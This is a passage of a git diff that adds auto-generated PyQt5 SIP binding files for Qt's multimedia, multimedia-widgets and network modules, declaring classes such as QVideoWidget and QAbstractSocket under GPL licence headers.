WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QVideoSurfaceFormat +{ +%TypeHeaderCode +#include +%End + +public: + enum Direction + { + TopToBottom, + BottomToTop, + }; + + enum YCbCrColorSpace + { + YCbCr_Undefined, + YCbCr_BT601, + YCbCr_BT709, + YCbCr_xvYCC601, + YCbCr_xvYCC709, + YCbCr_JPEG, + }; + + QVideoSurfaceFormat(); + QVideoSurfaceFormat(const QSize &size, QVideoFrame::PixelFormat format, QAbstractVideoBuffer::HandleType type = QAbstractVideoBuffer::NoHandle); + QVideoSurfaceFormat(const QVideoSurfaceFormat &format); + ~QVideoSurfaceFormat(); + bool operator==(const QVideoSurfaceFormat &format) const; + bool operator!=(const QVideoSurfaceFormat &format) const; + bool isValid() const; + QVideoFrame::PixelFormat pixelFormat() const; + QAbstractVideoBuffer::HandleType handleType() const; + QSize frameSize() const; + void setFrameSize(const QSize &size); + void setFrameSize(int width, int height); + int frameWidth() const; + int frameHeight() const; + QRect viewport() const; + void setViewport(const QRect &viewport); + QVideoSurfaceFormat::Direction scanLineDirection() const; + void setScanLineDirection(QVideoSurfaceFormat::Direction direction); + qreal frameRate() const; + void setFrameRate(qreal rate); + QSize pixelAspectRatio() const; + void setPixelAspectRatio(const QSize &ratio); + void setPixelAspectRatio(int width, int height); + QVideoSurfaceFormat::YCbCrColorSpace yCbCrColorSpace() const; + void setYCbCrColorSpace(QVideoSurfaceFormat::YCbCrColorSpace colorSpace); + QSize sizeHint() const; + QList propertyNames() const; + QVariant property(const char *name) const; + void setProperty(const char *name, const QVariant &value); +%If (Qt_5_11_0 -) + bool isMirrored() const; +%End +%If (Qt_5_11_0 -) + void setMirrored(bool mirrored); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideowindowcontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideowindowcontrol.sip new file mode 100644 index 00000000..7defa419 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimedia/qvideowindowcontrol.sip @@ -0,0 +1,60 @@ +// qvideowindowcontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimedia Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QVideoWindowControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QVideoWindowControl(); + virtual WId winId() const = 0; + virtual void setWinId(WId id) = 0; + virtual QRect displayRect() const = 0; + virtual void setDisplayRect(const QRect &rect) = 0; + virtual bool isFullScreen() const = 0; + virtual void setFullScreen(bool fullScreen) = 0; + virtual void repaint() = 0; + virtual QSize nativeSize() const = 0; + virtual Qt::AspectRatioMode aspectRatioMode() const = 0; + virtual void setAspectRatioMode(Qt::AspectRatioMode mode) = 0; + virtual int brightness() const = 0; + virtual void setBrightness(int brightness) = 0; + virtual int contrast() const = 0; + virtual void setContrast(int contrast) = 0; + virtual int hue() const = 0; + virtual void setHue(int hue) = 0; + virtual int saturation() const = 0; + virtual void setSaturation(int saturation) = 0; + +signals: + void fullScreenChanged(bool fullScreen); + void brightnessChanged(int brightness); + void contrastChanged(int contrast); + void hueChanged(int hue); + void saturationChanged(int saturation); + void nativeSizeChanged(); + +protected: + explicit QVideoWindowControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/QtMultimediaWidgets.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/QtMultimediaWidgets.toml new file mode 100644 index 00000000..4efd677c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/QtMultimediaWidgets.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtMultimediaWidgets. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/QtMultimediaWidgetsmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/QtMultimediaWidgetsmod.sip new file mode 100644 index 00000000..4f72def4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/QtMultimediaWidgetsmod.sip @@ -0,0 +1,53 @@ +// QtMultimediaWidgetsmod.sip generated by MetaSIP +// +// This file is part of the QtMultimediaWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtMultimediaWidgets, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtMultimedia/QtMultimediamod.sip +%Import QtWidgets/QtWidgetsmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qcameraviewfinder.sip +%Include qgraphicsvideoitem.sip +%Include qvideowidget.sip +%Include qvideowidgetcontrol.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/qcameraviewfinder.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/qcameraviewfinder.sip new file mode 100644 index 00000000..bf3c358b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/qcameraviewfinder.sip @@ -0,0 +1,41 @@ +// qcameraviewfinder.sip generated by MetaSIP +// +// This file is part of the QtMultimediaWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCameraViewfinder : QVideoWidget +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_6_1 -) + explicit QCameraViewfinder(QWidget *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QCameraViewfinder(QWidget *parent /TransferThis/ = 0); +%End + virtual ~QCameraViewfinder(); + virtual QMediaObject *mediaObject() const; + +protected: + virtual bool setMediaObject(QMediaObject *object); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/qgraphicsvideoitem.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/qgraphicsvideoitem.sip new file mode 100644 index 00000000..0e66887d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/qgraphicsvideoitem.sip @@ -0,0 +1,65 @@ +// qgraphicsvideoitem.sip generated by MetaSIP +// +// This file is part of the QtMultimediaWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsVideoItem : QGraphicsObject, QMediaBindableInterface +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_6_1 -) + explicit QGraphicsVideoItem(QGraphicsItem *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QGraphicsVideoItem(QGraphicsItem *parent /TransferThis/ = 0); +%End + virtual ~QGraphicsVideoItem(); + virtual QMediaObject *mediaObject() const; + Qt::AspectRatioMode aspectRatioMode() const; + void setAspectRatioMode(Qt::AspectRatioMode mode); + QPointF offset() const; + void setOffset(const QPointF &offset); + QSizeF size() const; + void setSize(const QSizeF &size); + QSizeF nativeSize() const; + virtual QRectF boundingRect() const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); + +signals: + void nativeSizeChanged(const QSizeF &size); + +protected: + virtual void timerEvent(QTimerEvent *event); + virtual QVariant itemChange(QGraphicsItem::GraphicsItemChange change, const QVariant &value); + virtual bool setMediaObject(QMediaObject *object); + +public: +%If (Qt_5_15_0 -) + QAbstractVideoSurface *videoSurface() const; +%End +}; + +%ModuleCode +// This is needed by the %ConvertToSubClassCode. +#include +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/qvideowidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/qvideowidget.sip new file mode 100644 index 00000000..bb184750 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/qvideowidget.sip @@ -0,0 +1,104 @@ +// qvideowidget.sip generated by MetaSIP +// +// This file is part of the QtMultimediaWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QVideoWidget : QWidget, QMediaBindableInterface +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QVideoWidget, &sipType_QVideoWidget, 3, 1}, + {sipName_QGraphicsVideoItem, &sipType_QGraphicsVideoItem, -1, 2}, + {sipName_QVideoWidgetControl, &sipType_QVideoWidgetControl, -1, -1}, + {sipName_QCameraViewfinder, &sipType_QCameraViewfinder, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: +%If (Qt_5_6_1 -) + explicit QVideoWidget(QWidget *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QVideoWidget(QWidget *parent /TransferThis/ = 0); +%End + virtual ~QVideoWidget(); + virtual QMediaObject *mediaObject() const; + Qt::AspectRatioMode aspectRatioMode() const; + int brightness() const; + int contrast() const; + int hue() const; + int saturation() const; + virtual QSize sizeHint() const; + +public slots: + void setFullScreen(bool fullScreen); + void setAspectRatioMode(Qt::AspectRatioMode mode); + void setBrightness(int brightness); + void setContrast(int contrast); + void setHue(int hue); + void setSaturation(int saturation); + +signals: + void fullScreenChanged(bool fullScreen); + void brightnessChanged(int brightness); + void contrastChanged(int contrast); + void hueChanged(int hue); + void saturationChanged(int saturation); + +protected: + virtual bool event(QEvent *event); + virtual void showEvent(QShowEvent *event); + virtual void hideEvent(QHideEvent *event); + virtual void resizeEvent(QResizeEvent *event); + virtual void moveEvent(QMoveEvent *event); + virtual void paintEvent(QPaintEvent *event); + virtual bool setMediaObject(QMediaObject *object); + +public: +%If (Qt_5_15_0 -) + QAbstractVideoSurface *videoSurface() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/qvideowidgetcontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/qvideowidgetcontrol.sip new file mode 100644 index 00000000..af11324f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtMultimediaWidgets/qvideowidgetcontrol.sip @@ -0,0 +1,54 @@ +// qvideowidgetcontrol.sip generated by MetaSIP +// +// This file is part of the QtMultimediaWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QVideoWidgetControl : QMediaControl +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QVideoWidgetControl(); + virtual QWidget *videoWidget() = 0; + virtual Qt::AspectRatioMode aspectRatioMode() const = 0; + virtual void setAspectRatioMode(Qt::AspectRatioMode mode) = 0; + virtual bool isFullScreen() const = 0; + virtual void setFullScreen(bool fullScreen) = 0; + virtual int brightness() const = 0; + virtual void setBrightness(int brightness) = 0; + virtual int contrast() const = 0; + virtual void setContrast(int contrast) = 0; + virtual int hue() const = 0; + virtual void setHue(int hue) = 0; + virtual int saturation() const = 0; + virtual void setSaturation(int saturation) = 0; + +signals: + void fullScreenChanged(bool fullScreen); + void brightnessChanged(int brightness); + void contrastChanged(int contrast); + void hueChanged(int hue); + void saturationChanged(int saturation); + +protected: + explicit QVideoWidgetControl(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/QtNetwork.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/QtNetwork.toml new file mode 100644 index 00000000..8c1a5877 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/QtNetwork.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtNetwork. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/QtNetworkmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/QtNetworkmod.sip new file mode 100644 index 00000000..bc38113b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/QtNetworkmod.sip @@ -0,0 +1,88 @@ +// QtNetworkmod.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtNetwork, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qabstractnetworkcache.sip +%Include qabstractsocket.sip +%Include qauthenticator.sip +%Include qdnslookup.sip +%Include qhostaddress.sip +%Include qhostinfo.sip +%Include qhstspolicy.sip +%Include qhttp2configuration.sip +%Include qhttpmultipart.sip +%Include qlocalserver.sip +%Include qlocalsocket.sip +%Include qnetworkaccessmanager.sip +%Include qnetworkconfigmanager.sip +%Include qnetworkconfiguration.sip +%Include qnetworkcookie.sip +%Include qnetworkcookiejar.sip +%Include qnetworkdatagram.sip +%Include qnetworkdiskcache.sip +%Include qnetworkinterface.sip +%Include qnetworkproxy.sip +%Include qnetworkreply.sip +%Include qnetworkrequest.sip +%Include qnetworksession.sip +%Include qocspresponse.sip +%Include qpassworddigestor.sip +%Include qssl.sip +%Include qsslcertificate.sip +%Include qsslcertificateextension.sip +%Include qsslcipher.sip +%Include qsslconfiguration.sip +%Include qssldiffiehellmanparameters.sip +%Include qsslellipticcurve.sip +%Include qsslerror.sip +%Include qsslkey.sip +%Include qsslpresharedkeyauthenticator.sip +%Include qsslsocket.sip +%Include qtcpserver.sip +%Include qtcpsocket.sip +%Include qudpsocket.sip +%Include qpynetwork_qhash.sip +%Include qpynetwork_qmap.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qabstractnetworkcache.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qabstractnetworkcache.sip new file mode 100644 index 00000000..34046b8a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qabstractnetworkcache.sip @@ -0,0 +1,78 @@ +// qabstractnetworkcache.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QNetworkCacheMetaData +{ +%TypeHeaderCode +#include +%End + + typedef QList> RawHeaderList; + typedef QHash AttributesMap; + +public: + QNetworkCacheMetaData(); + QNetworkCacheMetaData(const QNetworkCacheMetaData &other); + ~QNetworkCacheMetaData(); + bool operator==(const QNetworkCacheMetaData &other) const; + bool operator!=(const QNetworkCacheMetaData &other) const; + bool isValid() const; + QUrl url() const; + void setUrl(const QUrl &url); + QNetworkCacheMetaData::RawHeaderList rawHeaders() const; + void setRawHeaders(const QNetworkCacheMetaData::RawHeaderList &headers); + QDateTime lastModified() const; + void setLastModified(const QDateTime &dateTime); + QDateTime expirationDate() const; + void setExpirationDate(const QDateTime &dateTime); + bool saveToDisk() const; + void setSaveToDisk(bool allow); + QNetworkCacheMetaData::AttributesMap attributes() const; + void setAttributes(const QNetworkCacheMetaData::AttributesMap &attributes); + void swap(QNetworkCacheMetaData &other /Constrained/); +}; + +QDataStream &operator<<(QDataStream &, const QNetworkCacheMetaData & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QNetworkCacheMetaData & /Constrained/) /ReleaseGIL/; + +class QAbstractNetworkCache : QObject +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QAbstractNetworkCache(); + virtual QNetworkCacheMetaData metaData(const QUrl &url) = 0; + virtual void updateMetaData(const QNetworkCacheMetaData &metaData) = 0; + virtual QIODevice *data(const QUrl &url) = 0 /Factory/; + virtual bool remove(const QUrl &url) = 0; + virtual qint64 cacheSize() const = 0; + virtual QIODevice *prepare(const QNetworkCacheMetaData &metaData) = 0; + virtual void insert(QIODevice *device) = 0; + +public slots: + virtual void clear() = 0; + +protected: + explicit QAbstractNetworkCache(QObject *parent /TransferThis/ = 0); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qabstractsocket.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qabstractsocket.sip new file mode 100644 index 00000000..9630de3e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qabstractsocket.sip @@ -0,0 +1,317 @@ +// qabstractsocket.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractSocket : QIODevice +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QNetworkReply, &sipType_QNetworkReply, -1, 1}, + {sipName_QHttpMultiPart, &sipType_QHttpMultiPart, -1, 2}, + {sipName_QAbstractNetworkCache, &sipType_QAbstractNetworkCache, 12, 3}, + {sipName_QNetworkConfigurationManager, &sipType_QNetworkConfigurationManager, -1, 4}, + {sipName_QNetworkCookieJar, &sipType_QNetworkCookieJar, -1, 5}, + {sipName_QAbstractSocket, &sipType_QAbstractSocket, 13, 6}, + {sipName_QLocalSocket, &sipType_QLocalSocket, -1, 7}, + {sipName_QDnsLookup, &sipType_QDnsLookup, -1, 8}, + {sipName_QNetworkSession, &sipType_QNetworkSession, -1, 9}, + {sipName_QTcpServer, &sipType_QTcpServer, -1, 10}, + {sipName_QNetworkAccessManager, &sipType_QNetworkAccessManager, -1, 11}, + {sipName_QLocalServer, &sipType_QLocalServer, -1, -1}, + {sipName_QNetworkDiskCache, &sipType_QNetworkDiskCache, -1, -1}, + {sipName_QUdpSocket, &sipType_QUdpSocket, -1, 14}, + {sipName_QTcpSocket, &sipType_QTcpSocket, 15, -1}, + #if defined(SIP_FEATURE_PyQt_SSL) + {sipName_QSslSocket, &sipType_QSslSocket, -1, -1}, + #else + {0, 0, -1, -1}, + #endif + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum SocketType + { + TcpSocket, + UdpSocket, +%If (Qt_5_8_0 -) + SctpSocket, +%End + UnknownSocketType, + }; + + enum NetworkLayerProtocol + { + IPv4Protocol, + IPv6Protocol, + AnyIPProtocol, + UnknownNetworkLayerProtocol, + }; + + enum SocketError + { + ConnectionRefusedError, + RemoteHostClosedError, + HostNotFoundError, + SocketAccessError, + SocketResourceError, + SocketTimeoutError, + DatagramTooLargeError, + NetworkError, + AddressInUseError, + SocketAddressNotAvailableError, + UnsupportedSocketOperationError, + UnfinishedSocketOperationError, + ProxyAuthenticationRequiredError, + SslHandshakeFailedError, + ProxyConnectionRefusedError, + ProxyConnectionClosedError, + ProxyConnectionTimeoutError, + ProxyNotFoundError, + ProxyProtocolError, + OperationError, + SslInternalError, + SslInvalidUserDataError, + TemporaryError, + UnknownSocketError, + }; + + enum SocketState + { + UnconnectedState, + HostLookupState, + ConnectingState, + ConnectedState, + BoundState, + ListeningState, + ClosingState, + }; + + QAbstractSocket(QAbstractSocket::SocketType socketType, QObject *parent /TransferThis/); + virtual ~QAbstractSocket(); + virtual void connectToHost(const QString &hostName, quint16 port, QIODevice::OpenMode mode = QIODevice::ReadWrite, QAbstractSocket::NetworkLayerProtocol protocol = QAbstractSocket::AnyIPProtocol) /ReleaseGIL/; + virtual void connectToHost(const QHostAddress &address, quint16 port, QIODevice::OpenMode mode = QIODevice::ReadWrite) /ReleaseGIL/; + virtual void disconnectFromHost() /ReleaseGIL/; + bool isValid() const; + virtual qint64 bytesAvailable() const; + virtual qint64 bytesToWrite() const; + virtual bool canReadLine() const; + quint16 localPort() const; + QHostAddress localAddress() const; + quint16 peerPort() const; + QHostAddress peerAddress() const; + QString peerName() const; + qint64 readBufferSize() const; + virtual void setReadBufferSize(qint64 size); + void abort(); + virtual bool setSocketDescriptor(qintptr socketDescriptor, QAbstractSocket::SocketState state = QAbstractSocket::ConnectedState, QIODevice::OpenMode mode = QIODevice::ReadWrite); + virtual qintptr socketDescriptor() const; + QAbstractSocket::SocketType socketType() const; + QAbstractSocket::SocketState state() const; + QAbstractSocket::SocketError error() const; + virtual void close(); + virtual bool isSequential() const; + virtual bool atEnd() const; + bool flush() /ReleaseGIL/; + virtual bool waitForConnected(int msecs = 30000) /ReleaseGIL/; + virtual bool waitForReadyRead(int msecs = 30000) /ReleaseGIL/; + virtual bool waitForBytesWritten(int msecs = 30000) /ReleaseGIL/; + virtual bool waitForDisconnected(int msecs = 30000) /ReleaseGIL/; + void setProxy(const QNetworkProxy &networkProxy); + QNetworkProxy proxy() const; + +signals: + void hostFound(); + void connected(); + void disconnected(); + void stateChanged(QAbstractSocket::SocketState); + void error(QAbstractSocket::SocketError); +%If (Qt_5_15_0 -) + void errorOccurred(QAbstractSocket::SocketError); +%End + void proxyAuthenticationRequired(const QNetworkProxy &proxy, QAuthenticator *authenticator); + +protected: + virtual SIP_PYOBJECT readData(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *data, qint64 maxlen)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipSelfWasArg ? sipCpp->QAbstractSocket::readData(s, a0) : sipCpp->readData(s, a0); + #else + len = sipCpp->sipProtectVirt_readData(sipSelfWasArg, s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + virtual SIP_PYOBJECT readLineData(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *data, qint64 maxlen)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipSelfWasArg ? sipCpp->QAbstractSocket::readLineData(s, a0) : sipCpp->readLineData(s, a0); + #else + len = sipCpp->sipProtectVirt_readLineData(sipSelfWasArg, s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + virtual qint64 writeData(const char *data /Array/, qint64 len /ArraySize/) /ReleaseGIL/; + void setSocketState(QAbstractSocket::SocketState state); + void setSocketError(QAbstractSocket::SocketError socketError); + void setLocalPort(quint16 port); + void setLocalAddress(const QHostAddress &address); + void setPeerPort(quint16 port); + void setPeerAddress(const QHostAddress &address); + void setPeerName(const QString 